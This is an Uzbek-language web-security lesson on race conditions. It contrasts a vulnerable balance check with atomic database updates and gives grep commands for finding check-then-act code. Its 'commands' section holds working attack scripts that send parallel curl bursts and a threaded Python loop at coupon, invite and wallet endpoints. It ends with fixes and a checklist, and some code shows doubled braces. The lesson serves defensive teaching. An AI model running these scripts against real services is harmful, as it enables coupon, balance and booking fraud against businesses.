Race Condition

≡ Barcha darslar
Tezkor 🔎 Indeks
⚡

Race Condition

Parallel so'rov bilan
Dars 28 O'rta o'z saytingizda
1

Maqsad

parallel so'rovlar bilan nazoratni chetlab o'tish

Tekshiruv va o'zgartirish orasida boshqa so'rov kirsa — dastur noto'g'ri holatda qaror qabul qiladi. Masalan: sovg'a aylanmasi — bir vaqtda 100 ta so'rov, limit emas.

2

Tushuntirish

// XAVFLI — tekshiruv va yozish alohida
if (user.balance >= price) {{       // 1) 100 ta so'rov: hammasi "ha" deydi
  await charge(user, price);          // 2) keyin 100 marta yechadi
  user.balance -= price;              // 3) balans -900 bo'ladi
}}

// TO'G'RI — atomik
const r = await db.transaction(async tx => {{
  const n = await tx.updateMany({{
    where: {{ id, balance: {{ gte: price }} }},   // shart DB da
    data: {{ balance: {{ decrement: price }} }}
  }});
  if (n.count === 0) throw new Error('balans yetarli emas');
  await tx.order.create({{ data: {{ userId: id, price }} }});
}});
3

Qanday aniqlanadi

# 1) hisoblash / kamaytirish joylari
grep -rnE "balance|credit|stock|quantity|discount|wallet|attempt" src/ | head

# 2) transaction ishlatiladimi?
grep -rnE "\$transaction|BEGIN|beginTransaction|atomic" src/ | head

# 3) "get → check → update" ketma-ketligi
grep -rnA4 -B1 "findUnique\|findById" src/ | grep -B1 -A4 "if (" | head -20
4

Buyruqlar

parallel yuk
# 1) 100 ta parallel so'rov (curl + xargs)
seq 1 100 | xargs -P 20 -I{{}} curl -s -o /dev/null -w "%{{http_code}}\n" \
  -X POST https://site.uz/api/coupon/apply \
  -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -d '{{"code":"BESHGA10"}}' | sort | uniq -c
# 100 xar "200" → check/act uzilishi bor

# 2) bitta bonusni 2 marta olish
curl -s -X POST https://site.uz/api/coupon/apply -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" -d '{"code":"YANGI20"}' | jq -c .
curl -s -X POST https://site.uz/api/coupon/apply -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" -d '{"code":"YANGI20"}' | jq -c .
# balansni darhol tekshiring

# 3) limitni oshirish (try / bash)
for I in $(seq 1 50); do
  curl -s -X POST https://site.uz/api/invite \
    -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
    -d '{"email":"user'$I'@test.uz"}' &
done | grep -c success
wait

# 4) Race script (python, aniqroq)
python3 - <<'EOF'
import concurrent.futures, requests
T = "YOUR_TOKEN"
def go(i):
    r = requests.post("https://site.uz/api/coupon/apply",
        headers={"Authorization": f"Bearer {T}"},
        json={"code": "BESHGA10"})
    return r.status_code, r.text[:40]
with concurrent.futures.ThreadPoolExecutor(40) as ex:
    for s, t in ex.map(go, range(200)):
        if s == 200: print("  OK", t)
EOF

# 5) hisoblashdan keyin qoldiqni tekshirish
curl -s https://site.uz/api/wallet -H "Authorization: Bearer $TOKEN" | jq '.balance'
# manfiy bo'lsa — race ishladi

# 6) boshqa joyda (bir xil usul)
#  - bir vaqtga 2 ta band qo'yish
#  - bir emailni 2 marta "band" qilish
#  - bitta kod bilan 2 marta qaytarish
5

Natija

✓ MUvaffaqiyat — hujum ISHLADI
Server javobiNima degani
Bir bonus 5 marta qo'llandi**Race condition — ikki marta foydalanish**
Balans manfiy bo'ldi**Hisob buzildi**
100 ta «band» band qildi**Dublikat yaratildi**
2 ta ticket bitta joy uchun**Overbooking**
Transaction blokida ekan (serial)**Zaiflik yo'q**
✗ Rad etish — hujum ISHLAMADI
Server javobiNima degani
Faqat 1 marta qabul qilindi**To'g'ri**
Qolish manfiy emas**Atomik decrement ishlayapti**
`400 already used` qaytardi**Yaxshi himoya**
Indeks unique constraint bor**To'g'ri**
6

Zararni yopish

1. Atomik operatsiya (DB darajasida)

// shart va o'zgartirish BITTA so'rovda
const n = await prisma.wallet.updateMany({{
  where: {{ userId, balance: {{ gte: 1000 }} }},
  data:  {{ balance: {{ decrement: 1000 }} }}
}});
if (n.count === 0) throw new Error('yetarli emas');

2. Transaction + qat'iy izolyatsiya

await prisma.$transaction(async tx => {{
  const w = await tx.wallet.findUnique({{ where: {{ userId }} }});
  if (w.balance < 1000) throw new Error('yetarli emas');
  await tx.wallet.update({{ where: {{ userId }},
    data: {{ balance: {{ decrement: 1000 }} }} }});
  await tx.log.create({{ data: {{ type: 'spend', amount: 1000 }} }});
}}, {{ isolationLevel: 'Serializable' }});

3. Unique constraint (eng oddiy)

model CouponUse {{
  id      String @id
  userId  String
  code    String
  used    Boolean @default(false)
  @@unique([userId, code])     // ← bitta odam bitta kod
}}

4. Qatlamli qat'iyat

  • SELECT ... FOR UPDATE (SQL) — qatorni bloklash
  • Redis SETNX — qatlamli blok
  • Idempotency key — takrorlanuvchi so'rovlarni bir marta bajarish
7

Tekshirish ro'yxati

  • Qoldiq kamaytirish atomik (`decrement` + shart)
  • Kritik operatsiyalar transaction ichida
  • `@@unique([userId, code])` mavjud
  • Idempotency key ishlatiladi (to'lovlar uchun)
  • Parallel 100 ta so'rov bilan test qilindi